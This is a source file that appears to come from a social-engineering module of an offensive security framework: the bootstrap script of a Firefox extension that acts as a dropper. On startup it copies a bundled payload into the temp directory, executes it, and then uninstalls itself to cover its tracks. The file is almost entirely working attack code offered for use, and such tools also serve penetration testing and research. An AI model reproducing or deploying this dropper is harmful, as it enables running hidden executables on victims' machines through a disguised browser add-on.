Path: blob/master/modules/social_engineering/firefox_extension_dropper/extension/bootstrap.js
1154 views
1function startup(data, reason) {2var file = Components.classes["@mozilla.org/file/directory_service;1"].3getService(Components.interfaces.nsIProperties).4get("ProfD", Components.interfaces.nsIFile);5file.append("extensions");6xpi_guid="{861fb387-92ce-bb0a-cb48-4b923dbc292b}";payload_name="__payload_placeholder__";7file.append(xpi_guid);8file.append(payload_name);9var tmp = Components.classes["@mozilla.org/file/directory_service;1"].10getService(Components.interfaces.nsIProperties).11get("TmpD", Components.interfaces.nsIFile);12tmp.append(payload_name);13tmp.createUnique(Components.interfaces.nsIFile.NORMAL_FILE_TYPE, 0666);14file.copyTo(tmp.parent, tmp.leafName);1516var process=Components.classes["@mozilla.org/process/util;1"].createInstance(Components.interfaces.nsIProcess);17process.init(tmp);18process.run(false,[],0);1920try { // Fx < 4.021Components.classes["@mozilla.org/extensions/manager;1"].getService(Components.interfaces.nsIExtensionManager).uninstallItem(xpi_guid);22} catch (e) {}23try { // Fx 4.0 and later24Components.utils.import("resource://gre/modules/AddonManager.jsm");25AddonManager.getAddonByID(xpi_guid, function(addon) {26addon.uninstall();27});28} catch (e) {}29}3031